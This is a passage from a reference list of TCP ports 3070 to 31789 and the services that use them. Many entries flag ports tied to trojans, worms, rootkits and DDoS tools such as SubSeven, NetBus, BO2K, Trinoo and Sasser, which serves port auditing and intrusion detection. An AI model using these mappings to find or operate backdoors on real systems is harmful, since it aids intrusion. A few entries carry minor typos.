TCP  3070  MGXSWITCH
TCP  3075  Orbix 2000 Locator
TCP  3076  Orbix 2000 Config
TCP  3077  Orbix 2000 Locator SSL
TCP  3078  Orbix 2000 Locator SSL
TCP  3079  LV Front Panel
TCP  3080  stm_pproc
TCP  3081  TL1-LV
TCP  3082  TL1-RAW
TCP  3083  TL1-TELNET
TCP  3084  ITM-MCCS
TCP  3085  PCIHReq
TCP  3086  JDL-DBKitchen
TCP  3105  Cardbox
TCP  3106  Cardbox HTTP
TCP  3127  W32.Mydoom.A virus
TCP  3128  Squid HTTP Proxy / W32.Mydoom.B virus
TCP  3129  Master's Paradise (Windows Trojan)
TCP  3130  ICPv2
TCP  3131  Net Book Mark
TCP  3141  VMODEM
TCP  3142  RDC WH EOS
TCP  3143  Sea View
TCP  3144  Tarantella
TCP  3145  CSI-LFAP
TCP  3147  RFIO
TCP  3148  NetMike Game Administrator
TCP  3149  NetMike Game Server
TCP  3150  NetMike Assessor Administrator
TCP  3151  NetMike Assessor
TCP  3180  Millicent Broker Server
TCP  3181  BMC Patrol Agent
TCP  3182  BMC Patrol Rendezvous
TCP  3262  NECP
TCP  3264  cc:mail/lotus
TCP  3265  Altav Tunnel
TCP  3266  NS CFG Server
TCP  3267  IBM Dial Out
TCP  3268  Microsoft Global Catalog
TCP  3269  Microsoft Global Catalog with LDAP/SSL
TCP  3270  Verismart
TCP  3271  CSoft Prev Port
TCP  3272  Fujitsu User Manager
TCP  3273  Simple Extensible Multiplexed Protocol
TCP  3274  Ordinox Server
TCP  3275  SAMD
TCP  3276  Maxim ASICs
TCP  3277  AWG Proxy
TCP  3278  LKCM Server
TCP  3279  admind
TCP  3280  VS Server
TCP  3281  SYSOPT
TCP  3282  Datusorb
TCP  3283  Net Assistant
TCP  3284  4Talk
TCP  3285  Plato
TCP  3286  E-Net
TCP  3287  DIRECTVDATA
TCP  3288  COPS
TCP  3289  ENPC
TCP  3290  CAPS LOGISTICS TOOLKIT - LM
TCP  3291  S A Holditch & Associates - LM
TCP  3292  Cart O Rama
TCP  3293  fg-fps
TCP  3294  fg-gip
TCP  3295  Dynamic IP Lookup
TCP  3296  Rib License Manager
TCP  3297  Cytel License Manager
TCP  3298  Transview
TCP  3299  pdrncs
TCP  3300  bmc-patrol-agent
TCP  3301  Unathorised use by SAP R/3
TCP  3302  MCS Fastmail
TCP  3303  OP Session Client
TCP  3304  OP Session Server
TCP  3305  ODETTE-FTP
TCP  3306  MySQL
TCP  3307  OP Session Proxy
TCP  3308  TNS Server
TCP  3309  TNS ADV
TCP  3310  Dyna Access
TCP  3311  MCNS Tel Ret
TCP  3312  Application Management Server
TCP  3313  Unify Object Broker
TCP  3314  Unify Object Host
TCP  3315  CDID
TCP  3316  AICC/CMI
TCP  3317  VSAI PORT
TCP  3318  Swith to Swith Routing Information Protocol
TCP  3319  SDT License Manager
TCP  3320  Office Link 2000
TCP  3321  VNSSTR
TCP  3325  isi.edu
TCP  3326  SFTU
TCP  3327  BBARS
TCP  3328  Eaglepoint License Manager
TCP  3329  HP Device Disc
TCP  3330  MCS Calypso ICF
TCP  3331  MCS Messaging
TCP  3332  MCS Mail Server
TCP  3333  DEC Notes
TCP  3334  Direct TV Webcasting
TCP  3335  Direct TV Software Updates
TCP  3336  Direct TV Tickers
TCP  3337  Direct TV Data Catalog
TCP  3338  OMF data b
TCP  3339  OMF data l
TCP  3340  OMF data m
TCP  3341  OMF data h
TCP  3342  WebTIE
TCP  3343  MS Cluster Net
TCP  3344  BNT Manager
TCP  3345  Influence
TCP  3346  Trnsprnt Proxy
TCP  3347  Phoenix RPC
TCP  3348  Pangolin Laser
TCP  3349  Chevin Services
TCP  3350  FINDVIATV
TCP  3351  BTRIEVE
TCP  3352  SSQL
TCP  3353  FATPIPE
TCP  3354  SUITJD
TCP  3355  Hogle (proxy backdoor) / Ordinox Dbase
TCP  3356  UPNOTIFYPS
TCP  3357  Adtech Test IP
TCP  3358  Mp Sys Rmsvr
TCP  3359  WG NetForce
TCP  3360  KV Server
TCP  3361  KV Agent
TCP  3362  DJ ILM
TCP  3363  NATI Vi Server
TCP  3364  Creative Server
TCP  3365  Content Server
TCP  3366  Creative Partner
TCP  3371  ccm.jf.intel.com
TCP  3372  Microsoft Distributed Transaction Coordinator (MSDTC) / TIP 2
TCP  3373  Lavenir License Manager
TCP  3374  Cluster Disc
TCP  3375  VSNM Agent
TCP  3376  CD Broker
TCP  3377  Cogsys Network License Manager
TCP  3378  WSICOPY
TCP  3379  SOCORFS
TCP  3380  SNS Channels
TCP  3381  Geneous
TCP  3382  Fujitsu Network Enhanced Antitheft function
TCP  3383  Enterprise Software Products License Manager
TCP  3384  Cluster Management Services
TCP  3385  qnxnetman
TCP  3386  GPRS Data
TCP  3387  Back Room Net
TCP  3388  CB Server
TCP  3389  MS Terminal Server
TCP  3390  Distributed Service Coordinator
TCP  3391  SAVANT
TCP  3392  EFI License Management
TCP  3393  D2K Tapestry Client to Server
TCP  3394  D2K Tapestry Server to Server
TCP  3395  Dyna License Manager (Elam)
TCP  3396  Printer Agent
TCP  3397  Cloanto License Manager
TCP  3398  Mercantile
TCP  3399  CSMS
TCP  3400  CSMS2
TCP  3401  filecast
TCP  3410  Backdoor.OptixPro.13
TCP  3421  Bull Apprise portmapper
TCP  3454  Apple Remote Access Protocol
TCP  3455  RSVP Port
TCP  3456  VAT default data
TCP  3457  VAT default control
TCP  3458  D3WinOsfi
TCP  3459  TIP Integral
TCP  3460  EDM Manger
TCP  3461  EDM Stager
TCP  3462  EDM STD Notify
TCP  3463  EDM ADM Notify
TCP  3464  EDM MGR Sync
TCP  3465  EDM MGR Cntrl
TCP  3466  WORKFLOW
TCP  3467  RCST
TCP  3468  TTCM Remote Controll
TCP  3469  Pluribus
TCP  3470  jt400
TCP  3471  jt400-ssl
TCP  3535  MS-LA
TCP  3563  Watcom Debug
TCP  3572  harlequin.co.uk
TCP  3672  harlequinorb
TCP  3689  Apple Digital Audio Access Protocol
TCP  3802  VHD
TCP  3845  V-ONE Single Port Proxy
TCP  3862  GIGA-POCKET
TCP  3875  PNBSCADA
TCP  3900  Unidata UDT OS
TCP  3984  MAPPER network node manager
TCP  3985  MAPPER TCP/IP server
TCP  3986  MAPPER workstation server
TCP  3987  Centerline
TCP  4000  Terabase
TCP  4001  Cisco mgmt / NewOak
TCP  4002  pxc-spvr-ft
TCP  4003  pxc-splr-ft
TCP  4004  pxc-roid
TCP  4005  pxc-pin
TCP  4006  pxc-spvr
TCP  4007  pxc-splr
TCP  4008  NetCheque accounting
TCP  4009  Chimera HWM
TCP  4010  Samsung Unidex
TCP  4011  Alternate Service Boot
TCP  4012  PDA Gate
TCP  4013  ACL Manager
TCP  4014  TAICLOCK
TCP  4015  Talarian Mcast
TCP  4016  Talarian Mcast
TCP  4017  Talarian Mcast
TCP  4018  Talarian Mcast
TCP  4019  Talarian Mcast
TCP  4045  nfs-lockd
TCP  4096  BRE (Bridge Relay Element)
TCP  4097  Patrol View
TCP  4098  drmsfsd
TCP  4099  DPCP
TCP  4132  NUTS Daemon
TCP  4133  NUTS Bootp Server
TCP  4134  NIFTY-Serve HMI protocol
TCP  4141  Workflow Server
TCP  4142  Document Server
TCP  4143  Document Replication
TCP  4144  Compuserve pc windows
TCP  4160  Jini Discovery
TCP  4199  EIMS ADMIN
TCP  4299  earth.path.net
TCP  4300  Corel CCam
TCP  4321  Remote Who Is
TCP  4333  mini-sql server
TCP  4343  UNICALL
TCP  4344  VinaInstall
TCP  4345  Macro 4 Network AS
TCP  4346  ELAN LM
TCP  4347  LAN Surveyor
TCP  4348  ITOSE
TCP  4349  File System Port Map
TCP  4350  Net Device
TCP  4351  PLCY Net Services
TCP  4353  F5 iQuery
TCP  4397  Phatbot Worm
TCP  4442  Saris
TCP  4443  Pharos
TCP  4444  AdSubtract / NV Video default
TCP  4445  UPNOTIFYP
TCP  4446  N1-FWP
TCP  4447  N1-RMGMT
TCP  4448  ASC Licence Manager
TCP  4449  PrivateWire
TCP  4450  Camp
TCP  4451  CTI System Msg
TCP  4452  CTI Program Load
TCP  4453  NSS Alert Manager
TCP  4454  NSS Agent Manager
TCP  4455  PR Chat User
TCP  4456  PR Chat Server
TCP  4457  PR Register
TCP  4500  sae-urn
TCP  4501  urn-x-cdchoice
TCP  4545  WorldScores
TCP  4546  SF License Manager (Sentinel)
TCP  4547  Lanner License Manager
TCP  4557  FAX transmission service
TCP  4559  HylaFAX client-service protocol
TCP  4567  TRAM
TCP  4568  BMC Reporting
TCP  4600  Piranha1
TCP  4601  Piranha2
TCP  4661  eDonkey2k
TCP  4662  eDonkey2k
TCP  4663  eDonkey
TCP  4665  eDonkey2k
TCP  4672  remote file access server
TCP  4675  eMule
TCP  4711  eMule
TCP  4751  W32.Beagle.V trojan
TCP  4772  eMule
TCP  4800  Icona Instant Messenging System
TCP  4801  Icona Web Embedded Chat
TCP  4802  Icona License System Server
TCP  4820  Backdoor.Tuxter
TCP  4827  HTCP
TCP  4837  Varadero-0
TCP  4838  Varadero-1
TCP  4868  Photon Relay
TCP  4869  Photon Relay Debug
TCP  4885  ABBS
TCP  4899  RAdmin Win32 remote control
TCP  4983  AT&T Intercom
TCP  5000  UPnP / filmaker.com / Socket de Troie (Windows Trojan)
TCP  5001  filmaker.com / Socket de Troie (Windows Trojan)
TCP  5002  radio free ethernet
TCP  5003  FileMaker Inc. - Proprietary transport
TCP  5004  avt-profile-1
TCP  5005  avt-profile-2
TCP  5006  wsm server
TCP  5007  wsm server ssl
TCP  5010  TelepathStart
TCP  5011  TelepathAttack
TCP  5020  zenginkyo-1
TCP  5021  zenginkyo-2
TCP  5042  asnaacceler8db
TCP  5050  Yahoo Messenger / multimedia conference control tool
TCP  5051  ITA Agent
TCP  5052  ITA Manager
TCP  5055  UNOT
TCP  5060  SIP
TCP  5069  I/Net 2000-NPR
TCP  5071  PowerSchool
TCP  5093  Sentinel LM
TCP  5099  SentLM Srv2Srv
TCP  5101  Yahoo! Messenger
TCP  5145  RMONITOR SECURE
TCP  5150  Ascend Tunnel Management Protocol
TCP  5151  ESRI SDE Instance
TCP  5152  ESRI SDE Instance Discovery
TCP  5165  ife_1corp
TCP  5190  America-Online
TCP  5191  AmericaOnline1
TCP  5192  AmericaOnline2
TCP  5193  AmericaOnline3
TCP  5200  Targus AIB 1
TCP  5201  Targus AIB 2
TCP  5202  Targus TNTS 1
TCP  5203  Targus TNTS 2
TCP  5222  Jabber Server
TCP  5232  SGI Distribution Graphics
TCP  5236  padl2sim
TCP  5272  PK
TCP  5300  HA cluster heartbeat
TCP  5301  HA cluster general services
TCP  5302  HA cluster configuration
TCP  5303  HA cluster probing
TCP  5304  HA Cluster Commands
TCP  5305  HA Cluster Test
TCP  5306  Sun MC Group
TCP  5307  SCO AIP
TCP  5308  CFengine
TCP  5309  J Printer
TCP  5310  Outlaws
TCP  5311  TM Login
TCP  5373  W32.Gluber.B@mm
TCP  5400  Excerpt Search / Blade Runner (Windows Trojan)
TCP  5401  Excerpt Search Secure / Blade Runner (Windows Trojan)
TCP  5402  MFTP / Blade Runner (Windows Trojan)
TCP  5403  HPOMS-CI-LSTN
TCP  5404  HPOMS-DPS-LSTN
TCP  5405  NetSupport
TCP  5406  Systemics Sox
TCP  5407  Foresyte-Clear
TCP  5408  Foresyte-Sec
TCP  5409  Salient Data Server
TCP  5410  Salient User Manager
TCP  5411  ActNet
TCP  5412  Continuus
TCP  5413  WWIOTALK
TCP  5414  StatusD
TCP  5415  NS Server
TCP  5416  SNS Gateway
TCP  5417  SNS Agent
TCP  5418  MCNTP
TCP  5419  DJ-ICE
TCP  5420  Cylink-C
TCP  5421  Net Support 2
TCP  5422  Salient MUX
TCP  5423  VIRTUALUSER
TCP  5426  DEVBASIC
TCP  5427  SCO-PEER-TTA
TCP  5428  TELACONSOLE
TCP  5429  Billing and Accounting System Exchange
TCP  5430  RADEC CORP
TCP  5431  PARK AGENT
TCP  5432  postgres database server
TCP  5435  Data Tunneling Transceiver Linking (DTTL)
TCP  5454  apc-tcp-udp-4
TCP  5455  apc-tcp-udp-5
TCP  5456  apc-tcp-udp-6
TCP  5461  SILKMETER
TCP  5462  TTL Publisher
TCP  5465  NETOPS-BROKER
TCP  5490  Squid HTTP Proxy
TCP  5500  fcp-addr-srvr1
TCP  5501  fcp-addr-srvr2
TCP  5502  fcp-srvr-inst1
TCP  5503  fcp-srvr-inst2
TCP  5504  fcp-cics-gw1
TCP  5510  ACE/Server Services
TCP  5520  ACE/Server Services
TCP  5530  ACE/Server Services
TCP  5540  ACE/Server Services
TCP  5550  ACE/Server Services / Xtcp 2.0x
TCP  5554  Sasser Worm FTP backdoor / SGI ESP HTTP
TCP  5555  Personal Agent / W32.Mimail.P@mm
TCP  5556  Mtbd (mtb backup)
TCP  5559  Enterprise Security Remote Install axent.com
TCP  5599  Enterprise Security Remote Install
TCP  5600  Enterprise Security Manager
TCP  5601  Enterprise Security Agent
TCP  5602  A1-MSC
TCP  5603  A1-BS
TCP  5604  A3-SDUNode
TCP  5605  A4-SDUNode
TCP  5631  pcANYWHEREdata
TCP  5632  pcANYWHEREstat
TCP  5678  LinkSys EtherFast Router Remote Administration / Remote Replication Agent Connection
TCP  5679  Direct Cable Connect Manager
TCP  5680  Canna (Japanese Input)
TCP  5713  proshare conf audio
TCP  5714  proshare conf video
TCP  5715  proshare conf data
TCP  5716  proshare conf request
TCP  5717  proshare conf notify
TCP  5729  Openmail User Agent Layer
TCP  5741  IDA Discover Port 1
TCP  5742  IDA Discover Port 2 / Wincrash (Windows Trojan)
TCP  5745  fcopy-server
TCP  5746  fcopys-server
TCP  5755  OpenMail Desk Gateway server
TCP  5757  OpenMail X.500 Directory Server
TCP  5766  OpenMail NewMail Server
TCP  5767  OpenMail Suer Agent Layer (Secure)
TCP  5768  OpenMail CMTS Server
TCP  5771  NetAgent
TCP  5800  VNC Virtual Network Computing
TCP  5801  VNC Virtual Network Computing
TCP  5813  ICMPD
TCP  5859  WHEREHOO
TCP  5882  Y3k
TCP  5900  VNC Virtual Network Computing
TCP  5901  VNC Virtual Network Computing
TCP  5968  mppolicy-v5
TCP  5969  mppolicy-mgr
TCP  5977  NCD preferences TCP port
TCP  5978  NCD diagnostic TCP port
TCP  5979  NCD configuration TCP port
TCP  5980  VNC Virtual Network Computing
TCP  5981  VNC Virtual Network Computing
TCP  5987  Solaris Web Enterprise Management RMI
TCP  5997  NCD preferences telnet port
TCP  5998  NCD diagnostic telnet port
TCP  5999  CVSup
TCP  6000  X-Windows / W32.LoveGate.ak virus
TCP  6001  Cisco mgmt
TCP  6003  Half-Life WON server
TCP  6063  X Windows System mit.edu
TCP  6064  NDL-AHP-SVC
TCP  6065  WinPharaoh
TCP  6066  EWCTSP
TCP  6067  SRB
TCP  6068  GSMP
TCP  6069  TRIP
TCP  6070  Messageasap
TCP  6071  SSDTP
TCP  6072  DIAGNOSE-PROC
TCP  6073  DirectPlay8
TCP  6100  SynchroNet-db
TCP  6101  SynchroNet-rtc
TCP  6102  SynchroNet-upd
TCP  6103  RETS
TCP  6104  DBDB
TCP  6105  Prima Server
TCP  6106  MPS Server
TCP  6107  ETC Control
TCP  6108  Sercomm-SCAdmin
TCP  6109  GLOBECAST-ID
TCP  6110  HP SoftBench CM
TCP  6111  HP SoftBench Sub-Process Control
TCP  6112  dtspcd / Blizzard Battlenet
TCP  6123  Backup Express
TCP  6129  DameWare
TCP  6141  Meta Corporation License Manager
TCP  6142  Aspen Technology License Manager
TCP  6143  Watershed License Manager
TCP  6144  StatSci License Manager - 1
TCP  6145  StatSci License Manager - 2
TCP  6146  Lone Wolf Systems License Manager
TCP  6147  Montage License Manager
TCP  6148  Ricardo North America License Manager
TCP  6149  tal-pod
TCP  6253  CRIP
TCP  6321  Empress Software Connectivity Server 1
TCP  6322  Empress Software Connectivity Server 2
TCP  6346  Gnutella/Bearshare file sharing Application
TCP  6348  Limewire P2P
TCP  6389  clariion-evr01
TCP  6400  saegatesoftware.com
TCP  6401  saegatesoftware.com
TCP  6402  saegatesoftware.com
TCP  6403  saegatesoftware.com
TCP  6404  saegatesoftware.com
TCP  6405  saegatesoftware.com
TCP  6406  saegatesoftware.com
TCP  6407  saegatesoftware.com
TCP  6408  saegatesoftware.com
TCP  6409  saegatesoftware.com
TCP  6410  saegatesoftware.com
TCP  6455  SKIP Certificate Receive
TCP  6456  SKIP Certificate Send
TCP  6471  LVision License Manager
TCP  6500  BoKS Master
TCP  6501  BoKS Servc
TCP  6502  BoKS Servm
TCP  6503  BoKS Clntd
TCP  6505  BoKS Admin Private Port
TCP  6506  BoKS Admin Public Port
TCP  6507  BoKS Dir Server Private Port
TCP  6508  BoKS Dir Server Public Port
TCP  6547  apc-tcp-udp-1
TCP  6548  apc-tcp-udp-2
TCP  6549  apc-tcp-udp-3
TCP  6550  fg-sysupdate
TCP  6558  xdsxdm
TCP  6588  AnalogX Web Proxy
TCP  6665  Internet Relay Chat
TCP  6666  IRC / Windows Media Unicast Service
TCP  6667  IRC
TCP  6668  IRC
TCP  6669  IRC
TCP  6670  Vocaltec Global Online Directory / Deep Throat 2 (Windows Trojan)
TCP  6672  vision_server
TCP  6673  vision_elmd
TCP  6699  Napster
TCP  6700  Napster / Carracho (server)
TCP  6701  KTI/ICAD Nameserver
TCP  6701  Napster / Carracho (server)
TCP  6711  SubSeven (Windows Trojan)
TCP  6723  DDOS communication TCP
TCP  6767  BMC PERFORM AGENT
TCP  6768  BMC PERFORM MGRD
TCP  6776  SubSeven/BackDoor-G (Windows Trojan)
TCP  6777  W32.Beagle.A trojan
TCP  6789  IBM DB2
TCP  6790  HNMP / IBM DB2
TCP  6831  ambit-lm
TCP  6841  Netmo Default
TCP  6842  Netmo HTTP
TCP  6850  ICCRUSHMORE
TCP  6881  BitTorrent Network
TCP  6888  MUSE
TCP  6891  MS Messenger file transfer
TCP  6901  MS Messenger voice calls
TCP  6961  JMACT3
TCP  6962  jmevt2
TCP  6963  swismgr1
TCP  6964  swismgr2
TCP  6965  swistrap
TCP  6966  swispol
TCP  6969  acmsoda
TCP  6998  IATP-highPri
TCP  6999  IATP-normalPri
TCP  7000  IRC / file server itself
TCP  7001  WebLogic Server / Callbacks to cache managers
TCP  7002  WebLogic Server (SSL) / Half-Life Auth Server / Users & groups database
TCP  7003  volume location database
TCP  7004  AFS/Kerberos authentication service
TCP  7005  volume managment server
TCP  7006  error interpretation service
TCP  7007  Windows Media Services / basic overseer process
TCP  7008  server-to-server updater
TCP  7009  remote cache manager service
TCP  7010  onlinet uninterruptable power supplies
TCP  7011  Talon Discovery Port
TCP  7012  Talon Engine
TCP  7013  Microtalon Discovery
TCP  7014  Microtalon Communications
TCP  7015  Talon Webserver
TCP  7020  DP Serve
TCP  7021  DP Serve Admin
TCP  7070  ARCP
TCP  7099  lazy-ptop
TCP  7100  X Font Service
TCP  7121  Virtual Prototypes License Manager
TCP  7141  vnet.ibm.com
TCP  7161  Catalyst
TCP  7174  Clutild
TCP  7200  FODMS FLIP
TCP  7201  DLIP
TCP  7323  3.11 Remote Administration
TCP  7326  Internet Citizen's Band
TCP  7390  The Swiss Exchange swx.ch
TCP  7395  winqedit
TCP  7426  OpenView DM Postmaster Manager
TCP  7427  OpenView DM Event Agent Manager
TCP  7428  OpenView DM Log Agent Manager
TCP  7429  OpenView DM rqt communication
TCP  7430  OpenView DM xmpv7 api pipe
TCP  7431  OpenView DM ovc/xmpv3 api pipe
TCP  7437  Faximum
TCP  7491  telops-lmd
TCP  7511  pafec-lm
TCP  7544  FlowAnalyzer DisplayServer
TCP  7545  FlowAnalyzer UtilityServer
TCP  7566  VSI Omega
TCP  7570  Aries Kfinder
TCP  7588  Sun License Manager
TCP  7597  TROJAN WORM
TCP  7633  PMDF Management
TCP  7640  CUSeeMe
TCP  7777  Oracle App server / cbt
TCP  7778  Windows Media Services / Interwise
TCP  7781  accu-lmgr
TCP  7786  MINIVEND
TCP  7932  Tier 2 Data Resource Manager
TCP  7933  Tier 2 Business Rules Manager
TCP  7967  Supercell
TCP  7979  Micromuse-ncps
TCP  7980  Quest Vista
TCP  7999  iRDMI2
TCP  8000  HTTP/iRDMI
TCP  8001  HTTP/VCOM Tunnel
TCP  8002  HTTP/Teradata ORDBMS
TCP  8007  Apache JServ Protocol
TCP  8008  HTTP Alternate
TCP  8009  Apache JServ Protocol
TCP  8010  Wingate HTTP Proxy
TCP  8032  ProEd
TCP  8033  MindPrint
TCP  8080  HTTP / HTTP Proxy
TCP  8081  HTTP / HTTP Proxy
TCP  8082  BlackICE Capture
TCP  8129  Snapstream PVS Server
TCP  8130  INDIGO-VRMI
TCP  8131  INDIGO-VBCP
TCP  8160  Patrol
TCP  8161  Patrol SNMP
TCP  8181  IPSwitch IMail / Monitor
TCP  8200  TRIVNET
TCP  8201  TRIVNET
TCP  8204  LM Perfworks
TCP  8205  LM Instmgr
TCP  8206  LM Dta
TCP  8207  LM SServer
TCP  8208  LM Webwatcher
TCP  8351  Server Find
TCP  8376  Cruise ENUM
TCP  8377  Cruise SWROUTE
TCP  8378  Cruise CONFIG
TCP  8379  Cruise DIAGS
TCP  8380  Cruise UPDATE
TCP  8383  Web Email
TCP  8400  cvd
TCP  8401  sabarsd
TCP  8402  abarsd
TCP  8403  admind
TCP  8431  Micro PC-Cilin
TCP  8450  npmp
TCP  8473  Virtual Point to Point
TCP  8484  Ipswitch IMail
TCP  8554  RTSP Alternate (see port 554)
TCP  8733  iBus
TCP  8763  MC-APPSERVER
TCP  8764  OPENQUEUE
TCP  8765  Ultraseek HTTP
TCP  8804  truecm
TCP  8866  W32.Beagle.B trojan
TCP  8880  CDDBP
TCP  8888  NewsEDGE server TCP / AnswerBook2
TCP  8889  Desktop Data TCP 1
TCP  8890  Desktop Data TCP 2
TCP  8891  Desktop Data TCP 3: NESS application
TCP  8892  Desktop Data TCP 4: FARM product
TCP  8893  Desktop Data TCP 5: NewsEDGE/Web application
TCP  8894  Desktop Data TCP 6: COAL application
TCP  8900  JMB-CDS 1
TCP  8901  JMB-CDS 2
TCP  8967  Win32/Dabber (Windows worm)
TCP  8999  Firewall
TCP  9000  CSlistener
TCP  9001  cisco-xremote
TCP  9090  WebSM
TCP  9100  HP JetDirect
TCP  9160  NetLOCK1
TCP  9161  NetLOCK2
TCP  9162  NetLOCK3
TCP  9163  NetLOCK4
TCP  9164  NetLOCK5
TCP  9200  WAP connectionless session service
TCP  9201  WAP session service
TCP  9202  WAP secure connectionless session service
TCP  9203  WAP secure session service
TCP  9204  WAP vCard
TCP  9205  WAP vCal
TCP  9206  WAP vCard Secure
TCP  9207  WAP vCal Secure
TCP  9273  BackGate (Windows rootkit)
TCP  9274  BackGate (Windows rootkit)
TCP  9275  BackGate (Windows rootkit)
TCP  9276  BackGate (Windows rootkit)
TCP  9277  BackGate (Windows rootkit)
TCP  9278  BackGate (Windows rootkit)
TCP  9280  HP JetDirect Embedded Web Server
TCP  9290  HP JetDirect
TCP  9291  HP JetDirect
TCP  9292  HP JetDirect
TCP  9321  guibase
TCP  9343  MpIdcMgr
TCP  9344  Mphlpdmc
TCP  9374  fjdmimgr
TCP  9396  fjinvmgr
TCP  9397  MpIdcAgt
TCP  9400  InCommand
TCP  9500  ismserver
TCP  9535  Remote man server
TCP  9537  Remote man server, testing
TCP  9594  Message System
TCP  9595  Ping Discovery Service
TCP  9600  MICROMUSE-NCPW
TCP  9753  rasadv
TCP  9876  Session Director
TCP  9888  CYBORG Systems
TCP  9898  MonkeyCom / Win32/Dabber (Windows worm)
TCP  9899  SCTP TUNNELING
TCP  9900  IUA
TCP  9909  domaintime
TCP  9950  APCPCPLUSWIN1
TCP  9951  APCPCPLUSWIN2
TCP  9952  APCPCPLUSWIN3
TCP  9992  Palace
TCP  9993  Palace
TCP  9994  Palace
TCP  9995  Palace
TCP  9996  Sasser Worm shell / Palace
TCP  9997  Palace
TCP  9998  Distinct32
TCP  9999  distinct / Win32/Dabber (Windows worm)
TCP  10000  Webmin / Network Data Management Protocol/ Dumaru.Y (Windows trojan)
TCP  10001  queue
TCP  10002  poker
TCP  10003  gateway
TCP  10004  remp
TCP  10005  Secure telnet
TCP  10007  MVS Capacity
TCP  10012  qmaster
TCP  10080  Amanda / MyDoom.B (Windows trojan)
TCP  10082  Amanda Indexing
TCP  10083  Amanda Tape Indexing
TCP  10113  NetIQ Endpoint
TCP  10114  NetIQ Qcheck
TCP  10115  Ganymede Endpoint
TCP  10128  BMC-PERFORM-SERVICE DAEMON
TCP  10202  Computer Associate License Manager
TCP  10203  Computer Associate License Manager
TCP  10204  Computer Associate License Manager
TCP  10288  Blocks
TCP  10520  Acid Shivers (Windows Trojan)
TCP  11000  IRISA
TCP  11001  Metasys
TCP  11111  Viral Computing Environment (VCE)
TCP  11117  W32.Beagle.L trojan / URBISNET
TCP  11367  ATM UHAS
TCP  11523  AOL / AdSubtract AOL Proxy
TCP  11720  h323 Call Signal Alternate
TCP  11722  RK Test
TCP  12000  IBM Enterprise Extender SNA XID Exchange
TCP  12001  IBM Enterprise Extender SNA COS Network Priority
TCP  12002  IBM Enterprise Extender SNA COS High Priority
TCP  12003  IBM Enterprise Extender SNA COS Medium Priority
TCP  12004  IBM Enterprise Extender SNA COS Low Priority
TCP  12172  HiveP
TCP  12345  Netbus (Windows Trojan)
TCP  12346  NetBus (Windows Trojan)
TCP  12348  BioNet (Windows Trojan)
TCP  12349  BioNet (Windows Trojan)
TCP  12361  Whack-a-mole (Windows Trojan)
TCP  12362  Whack-a-mole (Windows Trojan)
TCP  12753  tsaf port
TCP  12754  DDOS communication TCP
TCP  13160  I-ZIPQD
TCP  13223  PowWow Client
TCP  13224  PowWow Server
TCP  13326  game
TCP  13720  BPRD Protocol (VERITAS NetBackup)
TCP  13721  BPBRM Protocol (VERITAS NetBackup)
TCP  13722  BP Java MSVC Protocol
TCP  13782  VERITAS NetBackup
TCP  13783  VOPIED Protnocol
TCP  13818  DSMCC Config
TCP  13819  DSMCC Session Messages
TCP  13820  DSMCC Pass-Thru Messages
TCP  13821  DSMCC Download Protocol
TCP  13822  DSMCC Channel Change Protocol
TCP  14001  ITU SCCP (SS7)
TCP  14237  Palm Network Hotsync
TCP  14247  Mitglieder.H trojan
TCP  15104  DDOS communication TCP
TCP  16360  netserialext1
TCP  16361  netserialext2
TCP  16367  netserialext3
TCP  16368  netserialext4
TCP  16660  Stacheldraht distributed attack tool client
TCP  16959  Subseven DEFCON8 2.1 backdoor remote access tool
TCP  16991  INTEL-RCI-MP
TCP  17007  isode-dua
TCP  17219  Chipper
TCP  17300  Kuang2 (Windows trojan)
TCP  17569  Infector
TCP  17990  Worldspan gateway
TCP  18000  Beckman Instruments Inc.
TCP  18181  OPSEC CVP
TCP  18182  OPSEC UFP
TCP  18183  OPSEC SAM
TCP  18184  OPSEC LEA
TCP  18185  OPSEC OMI
TCP  18187  OPSEC ELA
TCP  18463  AC Cluster
TCP  18753  Shaft distributed attack tool handler agent
TCP  18888  APCNECMP
TCP  19216  BackGate (Windows rootkit)
TCP  19283  Key Server for SASSAFRAS
TCP  19315  Key Shadow for SASSAFRAS
TCP  19410  hp-sco
TCP  19411  hp-sca
TCP  19412  HP-SESSMON
TCP  19541  JCP Client
TCP  20000  DNP
TCP  20005  xcept4 (German Telekom's CEPT videotext service)
TCP  20031  BakBone NetVault
TCP  20034  NetBus 2 Pro (Windows Trojan)
TCP  20432  Shaft distributed attack client
TCP  20670  Track
TCP  20742  Mitglieder.E trojan
TCP  20999  At Hand MMP
TCP  21554  Girlfriend (Windows Trojan)
TCP  21590  VoFR Gateway
TCP  21845  webphone
TCP  21846  NetSpeak Corp. Directory Services
TCP  21847  NetSpeak Corp. Connection Services
TCP  21848  NetSpeak Corp. Automatic Call Distribution
TCP  21849  NetSpeak Corp. Credit Processing System
TCP  22000  SNAPenetIO
TCP  22001  OptoControl
TCP  22156  Phatbot Worm
TCP  22273  wnn6
TCP  22289  Wnn6 (Chinese Input)
TCP  22305  Wnn6 (Korean Input)
TCP  22321  Wnn6 (Taiwanese Input)
TCP  22555  Vocaltec Web Conference
TCP  22800  Telerate Information Platform LAN
TCP  22951  Telerate Information Platform WAN
TCP  23005  W32.HLLW.Nettrash
TCP  23006  W32.HLLW.Nettrash
TCP  23432  Asylum
TCP  23476  Donald Dick
TCP  23477  Donald Dick
TCP  23485  Shareasa file sharing
TCP  24000  med-ltp
TCP  24001  med-fsp-rx
TCP  24002  med-fsp-tx
TCP  24003  med-supp
TCP  24004  med-ovw
TCP  24005  med-ci
TCP  24006  med-net-svc
TCP  24386  Intel RCI
TCP  24554  BINKP
TCP  25000  icl-twobase1
TCP  25001  icl-twobase2
TCP  25002  icl-twobase3
TCP  25003  icl-twobase4
TCP  25004  icl-twobase5
TCP  25005  icl-twobase6
TCP  25006  icl-twobase7
TCP  25007  icl-twobase8
TCP  25008  icl-twobase9
TCP  25009  icl-twobase10
TCP  25555  Mitglieder.D trojan
TCP  25793  Vocaltec Address Server
TCP  25867  WebCam32 Admin
TCP  26000  quake
TCP  26208  wnn6-ds
TCP  26274  Delta Source (Windows Trojan)
TCP  27347  SubSeven / Linux.Ramen.Worm (RedHat Linux)
TCP  27374  SubSeven / Linux.Ramen.Worm (RedHat Linux)
TCP  27665  Trinoo distributed attack tool Master server control port
TCP  27999  TW Authentication/Key Distribution and
TCP  30100  Netsphere (Windows Trojan)
TCP  30101  Netsphere (Windows Trojan)
TCP  30102  Netsphere (Windows Trojan)
TCP  30999  Kuang
TCP  31337  BO2K
TCP  31785  Hack-A-Tack (Windows Trojan)
TCP  31787  Hack-A-Tack (Windows Trojan)
TCP  31788  Hack-A-Tack (Windows Trojan)
TCP  31789  Hack-A-Tack (Windows Trojan)
